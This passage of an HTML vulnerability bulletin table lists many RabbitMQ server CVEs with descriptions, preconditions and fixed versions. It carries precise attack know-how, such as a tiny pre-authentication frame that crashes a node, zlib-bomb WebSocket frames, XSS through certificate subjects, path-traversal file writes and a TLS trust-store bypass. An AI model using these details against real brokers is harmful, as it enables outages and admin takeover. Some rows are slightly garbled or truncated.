&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66076&quot; target=&quot;_blank&quot;&gt;CVE-2026-66076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6, The management UI uses EJS 1.0 in which &amp;lt;%= ... %&amp;gt; does NOT HTML-escape. connection.ejs:135 renders &amp;lt;%= connection.ssl_details.peer_cert_subject %&amp;gt; (and peer_cert_issuer) directly into the page. The same pattern appears in streamConnection.ejs:102,106,110. The values come from rabbit_ssl:peer_cert_subject/1 which formats the DN as a string without HTML escaping. The verifier corrected the original researcher&#039;s claim: this is reachable only when the listener is configured with verify_peer (so the certificate must be signed by a CA in the broker&#039;s trust store, not arbitrary self-signed); however, in deployments using mTLS for client authentication, any user who can request a certificate from the organisational CA controls the Subject CN. An attacker who can obtain a TLS client certificate signed by a CA the broker trusts (with verify_peer enabled) can embed JavaScript in the certificate&#039;s Subject DN. When any administrator views that connection in the management UI, the script executes in the admin&#039;s browser session, allowing full account takeover (create users, export definitions, etc.). The management UI&#039;s CSP includes &#039;unsafe-inline&#039;, so inline script execution is not blocked. Preconditions include TLS listener configured with ssl_options.verify = verify_peer Attacker can obtain a CA-signed client certificate with attacker-chosen Subject (e.g. self-service corporate PKI, or rabbitmq_trust_store plugin in use) Administrator views the connection detail page. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66077&quot; target=&quot;_blank&quot;&gt;CVE-2026-66077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15 and 4.0.20 and 4.1.11 and 4.2.6, protected tag bypass via bulk-delete. dELETE /api/users/:name refuses to delete users tagged protected (rabbitmgmtwmuser:deleteresource/2 checks isprotecteduser). POST /api/users/bulk-delete iterates the supplied username list and calls rabbitauthbackendinternal:deleteuser/2 directly , that function has no protected-tag check , so the guard is silently An administrator can delete protected-tagged service accounts via the bulk endpoint, bypassing a safeguard the test suite confirms is rabbitmqmanagement enabled Attacker has the administrator tag A protected-tagged user. This issue is fixed in versions 3.13.15 and 4.0.20 and 4.1.11 and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66078&quot; target=&quot;_blank&quot;&gt;CVE-2026-66078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6, parse_array_primitive/2 for constructor 0x45 (list0) returns an element with byte-width B = 0. The enclosing array32 parser at line 148 reads a 4-byte Count from the wire and loops Count times consuming B bytes each , with B = 0, no input is consumed and the loop builds a list of Count empty elements bounded only by the 32-bit field. The SASL-mechanisms / SASL-init frame is parsed by amqp10_framing:decode_bin/1 from rabbit_amqp_reader.erl:412 before authentication completes. The pre-auth incoming_max_frame_size (default 8192 bytes) caps the frame, not the Count field, so a 19-byte payload with Count = 0xFFFFFFFF is accepted. No max_heap_size is set on the reader process. An unauthenticated network attacker can crash any RabbitMQ node that has the AMQP 1.0 listener enabled (default port 5672) by sending a single ~19-byte frame. The reader process attempts to build a list of ~4 billion empty elements, exhausting heap memory and terminating the Erlang VM. All tenants and protocols on the node lose service. Preconditions include Network reachability to the AMQP listener (port 5672, enabled by default) No authentication required. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66079&quot; target=&quot;_blank&quot;&gt;CVE-2026-66079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.1.11, 4.2.6, and 4.3.0, validate_partitions only checks that the requested partition count is at least 1, with no upper bound. A large count such as lists:seq(0, 500000000) allocates roughly 8GB. Preconditions include The rabbitmq_stream_management plugin must be enabled. The caller needs the management tag and access to the target vhost.. This issue is fixed in versions 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66080&quot; target=&quot;_blank&quot;&gt;CVE-2026-66080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.0.22, 4.1.11, 4.2.6, and 4.3.0, accept_content/2 at line 56 calls rabbit_stream_manager:create_super_stream/... directly after is_authorized (which only checks the management tag + vhost access via is_authorized_vhost). The stream-protocol equivalent (rabbit_stream_reader.erl create_super_stream handler) calls rabbit_stream_utils:check_super_stream_management_permitted/4 which enforces configure on the exchange and each partition queue. The HTTP handler omits this call entirely. A user with management tag and vhost access , but no configure permission on any resource , can create super-streams (an exchange + N partition stream queues + bindings) via the HTTP API. The native stream-protocol path enforces configure on each resource; the HTTP path does not, creating a privilege escalation from &#039;can view&#039; to &#039;can create persistent cluster-wide resources.&#039; Preconditions include rabbitmq_stream_management plugin enabled management tag + vhost access (no resource permissions needed). This issue is fixed in versions 4.0.22, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67218&quot; target=&quot;_blank&quot;&gt;CVE-2026-67218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, add_binding/3 parses the routing key as an integer weight N and computes ring positions with lists:seq(NextN0, NextN0 + N - 1). validate_binding/2 only checks N &amp;gt;= 1 , no upper bound. The resulting list is stored in the exchange&#039;s Khepri record, replicated cluster-wide, and reloaded on restart. A user with write permission on a consistent-hash exchange and read on a queue can create a binding whose routing key (the hash-ring weight) is an arbitrarily large integer. The broker allocates a list of that many integers via lists:seq/2 and persists it to Khepri across all cluster nodes , a single binding with weight 100000000 allocates ~800 MB on every node and survives restarts. Preconditions include rabbitmq_consistent_hash_exchange plugin enabled write permission on a consistent-hash exchange + read on a queue (standard binding perms). This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67219&quot; target=&quot;_blank&quot;&gt;CVE-2026-67219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, 4.3.0, When a binding is created on an x-jms-topic exchange, add_binding/3 reads the rjms_erlang_selector argument and passes it through erl_scan:string/1 then erl_parse:parse_term/1. erl_scan:string/1 interns every atom literal it tokenizes. validate_binding/2 is a no-op (-&amp;gt; ok.), there is no length cap, and the surrounding try/catch cannot reclaim atoms. The Java JMS client compiles selectors client-side, but the server does not enforce this , a raw AMQP client can send arbitrary selector strings. An authenticated low-privilege AMQP user confined to one vhost can crash the entire broker node (cross-tenant DoS) in &amp;lt;100 bind calls. Preconditions include rabbitmq_jms_topic_exchange plugin enabled (bundled; required for any JMS deployment) Authenticated AMQP user with read on an x-jms-topic exchange + write on a queue (or configure to declare both). This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67220&quot; target=&quot;_blank&quot;&gt;CVE-2026-67220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The AMQP 0-9-1 shovel calls amqp_uri:remove_credentials before storing its connection URI, but the AMQP 1.0 shovel stores the raw URI including the password. The stored URI is visible via GET /api/shovels and via rabbitmqctl shovel_status. Preconditions include The Shovel plugin must be in use with AMQP 1.0 shovels configured using URI-embedded credentials. Reading the exposed status requires the monitoring tag.. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67221&quot; target=&quot;_blank&quot;&gt;CVE-2026-67221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15, 4.0.20, 4.1.11, and 4.2.6, mechanisms/1 applied list_to_atom/1 to every colon-delimited token in an attacker-controlled auth_mechanism value, permanently consuming Erlang VM atoms and allowing the node to be crashed with a large request. Exploitation requires the Shovel or Federation plugin to be in use, and setting auth_mechanism requires the policymaker tag. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67222&quot; target=&quot;_blank&quot;&gt;CVE-2026-67222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes ${username} into user_dn_pattern without RFC 4514 DN escaping, allowing a crafted username to alter the LDAP bind DN and potentially select a different directory entry. Exploitation requires rabbitmq_auth_backend_ldap with a user_dn_pattern containing ${username}, a directory layout in which the injected suffix resolves usefully, and a password valid for the resulting DN. The advisory body identifies 3.13.15, 4.0.20, 4.1.11, 4.2.9, and 4.3.3 as fixed, while structured metadata identifies 3.13.18, 4.0.23, 4.1.14, 4.2.9, and 4.3.3. No fixed-version assertion is certifiable until a curator resolves this conflict.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67223&quot; target=&quot;_blank&quot;&gt;CVE-2026-67223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, The trace consumer constructs the output path as filename:join(TraceDir, Name ++ &quot;.log&quot;) where Name comes from PUT /api/traces/:vhost/:name. No safe_relative_path / traversal check is applied on the write side, while the read side (rabbit_tracing_files.erl) does call rabbit_misc:safe_relative_path/1 , proving the omission is an oversight, not design. The .log suffix is forced and the endpoint requires administrator. A user with the administrator tag can write a .log-suffixed file to an arbitrary filesystem path writable by the rabbitmq user via the tracing plugin&#039;s name parameter, e.g. /etc/cron.d/x.log (if writable) or overwrite existing .log files outside the trace directory. Preconditions include rabbitmq_tracing plugin enabled administrator tag Target path writable by rabbitmq OS user. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67224&quot; target=&quot;_blank&quot;&gt;CVE-2026-67224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15, 4.0.20, 4.1.11, and 4.2.6, the stream protocol stored the FrameMax value negotiated during the Tune handshake but did not compare it with an inbound frame&#039;s declared length before buffering the frame. With the stream plugin enabled, a remote client could therefore cause excessive memory pressure and denial of service by declaring an oversized frame. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67225&quot; target=&quot;_blank&quot;&gt;CVE-2026-67225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.0.22 and 4.1.14 and 4.2.7, Admin-only atom exhaustion: PUT /api/users tags list. settags/2 maps rabbitdatacoercion:toatom/1 over the user&#039;s tags list. The 20 MB management body limit fits ~3-4M short tag strings. An administrator can crash the node in a single request by creating a user (or importing definitions) with ~1M unique tag administrator. This issue is fixed in versions 4.0.22 and 4.1.14 and 4.2.7.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67226&quot; target=&quot;_blank&quot;&gt;CVE-2026-67226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.0.22 and 4.1.14 and 4.2.7 and 4.3.1, Atom exhaustion: toatom on global-parameter :name. resourceexists/2 (and the PUT/DELETE handlers) call rabbitdatacoercion:toatom/1 on the :name URL path segment. toatom/1 uses binarytoatom/2 (unsafe). The endpoint requires policymaker (not management, but below A user with the policymaker tag can crash the node by exhausting the atom table via repeated requests to /api/global-parameters/:name with unique :name Management plugin enabled policymaker tag ~1M HTTP. This issue is fixed in versions 4.0.22 and 4.1.14 and 4.2.7 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67227&quot; target=&quot;_blank&quot;&gt;CVE-2026-67227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, The runtime-parameters lookup path coerces the URL :component segment to an atom with rabbit_data_coercion:to_atom/1 in lookup_component/1 (deps/rabbit/src/rabbit_runtime_parameters.erl), creating a new atom for any previously unseen value. A safe helper, rabbit_registry:binary_to_type/1, which uses binary_to_existing_atom with a catch, already exists but is not used at this call site. lookup_component/1 calls rabbit_data_coercion:to_atom(Component) on the :component segment of the request URL, converting an attacker-supplied string into a new atom. Because the Erlang atom table is bounded and atoms are never garbage collected, an authorized policymaker issuing roughly one million requests with distinct component values can exhaust the atom table and crash the node, resulting in a denial of service. Preconditions include Exploitation requires policymaker privileges and roughly one million requests.. This issue is fixed in versions 4.2.7 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67228&quot; target=&quot;_blank&quot;&gt;CVE-2026-67228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, add_vhost/2 calls rabbit_data_coercion:atomize_keys/1 (the unsafe variant using binary_to_atom) on the vhost metadata map. The 20 MB management body limit fits ~1M+ short keys. Admin-only. An administrator importing a crafted definitions file can crash the node in a single request: a vhosts entry with ~1M unique metadata keys exhausts the atom table during import. Preconditions include administrator tag. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67229&quot; target=&quot;_blank&quot;&gt;CVE-2026-67229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.15, 4.0.20, 4.1.11, and 4.2.6, the Web STOMP WebSocket handler enforced neither max_frame_size nor login_timeout before authentication, allowing an unauthenticated client to keep a connection alive with a slow stream of small frames and accumulate unbounded pre-authentication state. The rabbitmq_web_stomp plugin must be enabled, and no authentication is required to reach the vulnerable path. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67230&quot; target=&quot;_blank&quot;&gt;CVE-2026-67230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The trust-store plugin installs a verify_fun that overrides {bad_cert, unknown_ca} / {bad_cert, selfsigned_peer} when the presented cert &quot;matches&quot; a whitelisted one. The match key is extract_issuer_id/1 â†’ public_key:pkix_issuer_id/2 â†’ {IssuerName, SerialNumber} , both fields are taken verbatim from the presented certificate body and contain no public-key, SKI, fingerprint or signature material. is_whitelisted/1 is a pure ets:member lookup; the stored full DER is used only for list/0 display and is never compared against the presented cert. cacerts is [], so the whitelisted cert is never used as a trust anchor for path validation either. TLS client-authentication bypass: an attacker who knows the issuer DN + serial of any whitelisted certificate can connect with a forged self-signed cert. Preconditions include rabbitmq_trust_store plugin enabled and used as the TLS verify_fun Attacker knows or can guess the {Issuer, Serial} of at least one whitelisted cert (non-secret; exposed via CLI/logs/any cert copy). This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67231&quot; target=&quot;_blank&quot;&gt;CVE-2026-67231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The cowboy WebSocket options at line 117 set compress =&amp;gt; true, enabling RFC 7692 permessage-deflate negotiation. The handler does not set max_frame_size, so cowboy&#039;s default of infinity applies. cowlib&#039;s cow_ws:parse_payload/9 calls zlib:inflate/2 on the compressed payload with no output-size limit. An attacker can negotiate permessage-deflate during the WebSocket upgrade and send a frame containing a zlib bomb (e.g. 50 KB â†’ 5 GB). Decompression occurs in the connection process before websocket_handle/2 ever sees the MQTT bytes. An unauthenticated attacker can crash a RabbitMQ node running the Web-MQTT plugin by sending a single highly-compressed WebSocket frame (a few KB on the wire) that inflates to gigabytes in memory. The cowboy WebSocket handler decompresses the entire frame before the MQTT CONNECT packet is processed, so no credentials are required. Preconditions include rabbitmq_web_mqtt plugin enabled (not default, but common for browser clients) Network reachability to port 15675/15676 No authentication required. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67232&quot; target=&quot;_blank&quot;&gt;CVE-2026-67232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, The shovel management resource&#039;s is_authorized/2 delegates to rabbit_mgmt_util:is_authorized_monitor/2, which accepts the monitoring tag. But allowed_methods includes DELETE, and delete_resource/2 deletes / restarts shovel runtime parameters with no additional role check. A monitoring user , intended to have read-only visibility , can therefore delete or restart any shovel in any vhost they can see. A read-only monitoring user can delete or restart any dynamic shovel , a state-changing operation that the equivalent /api/parameters endpoint correctly restricts to policymaker. Preconditions include rabbitmq_shovel + rabbitmq_shovel_management plugins enabled Attacker has credentials with the monitoring tag. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67233&quot; target=&quot;_blank&quot;&gt;CVE-2026-67233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, get_auth_mechanism/1 used term_to_binary/1 on the strict_auth_mechanism or preferred_auth_mechanism atom when clearing the corresponding cookie, producing a non-ASCII cookie name that violates RFC 6265 and can prevent the browser from deleting the preference. The issue is not directly exploitable for code execution or data exfiltration; its security relevance is limited to stale authentication-mechanism preferences persisting across logout and login cycles. This issue is fixed in versions 4.2.8 and 4.3.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67234&quot; target=&quot;_blank&quot;&gt;CVE-2026-67234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15, The content-header BodySize (a uint64) was stored without validation against max_message_size. The size check ran only when assembly completed. By declaring body_size = 2^63-1 and then streaming fragments, a client ensured that check_msg_size never fired, so the accumulated body size went unbounded. A reader process accumulates memory until the memory alarm fires, degrading all publishers cluster-wide, or until the node runs out of memory. The memory alarm provides only partial mitigation, since it is reactive rather than preventive. AMQP 0-9-1 is the most widely used protocol, and any publisher can trigger this condition. Preconditions include Any authenticated AMQP 0-9-1 client with publish permission can exploit this.. This issue is fixed in versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67235&quot; target=&quot;_blank&quot;&gt;CVE-2026-67235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, a successful POST /login caused is_authorized/2 to set an auth cookie containing base64-encoded username:password credentials without HttpOnly, Secure, SameSite, or expiration protections. Because base64 is encoding rather than encryption, an attacker with same-origin cross-site scripting, an HTTP-readable network position, or local access to the browser cookie store could recover the actual login credentials; older browsers that treated an absent SameSite attribute as None also sent the cookie cross-site. This issue is fixed in versions 4.2.8 and 4.3.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67236&quot; target=&quot;_blank&quot;&gt;CVE-2026-67236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, set_token_auth/2 inserted a bearer token from the Authorization header or access_token cookie into OAuth bootstrap JavaScript without escaping, allowing attacker-controlled token content to execute JavaScript in the management UI origin. The endpoint is exposed before authentication only when management.oauth_enabled is true, and exploitation through the cookie path additionally requires the attacker to plant an access_token cookie on the management host. This issue is fixed in versions 4.2.8 and 4.3.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67237&quot; target=&quot;_blank&quot;&gt;CVE-2026-67237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
&lt;td&gt;RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, rabbit_pid_codec:decompose_from_binary/1 parses a caller-supplied ETF-encoded binary and calls binary_to_atom(Node, utf8) on the node-name field. It is reached from rabbit_volatile_queue:pid_from_name/2, which is invoked for any queue name / routing key beginning amq.rabbitmq.reply-to.. The CandidateNodes membership check happens after the atom is created, and the surrounding try/catch cannot reclaim atoms (they are never GC&#039;d). binary_to_existing_atom is not used. Any authenticated AMQP client can crash the entire Erlang VM (all vhosts, all connections) with ~1M cheap requests. Preconditions include Authenticated AMQP 0-9-1 connection to any vhost No per-connection rate limit low enough to make ~1M operations infeasible. This issue is fixed in versions 4.2.7 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67238&quot; target=&quot;_blank&quot;&gt;CVE-2026-67238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-server&lt;/td&gt;
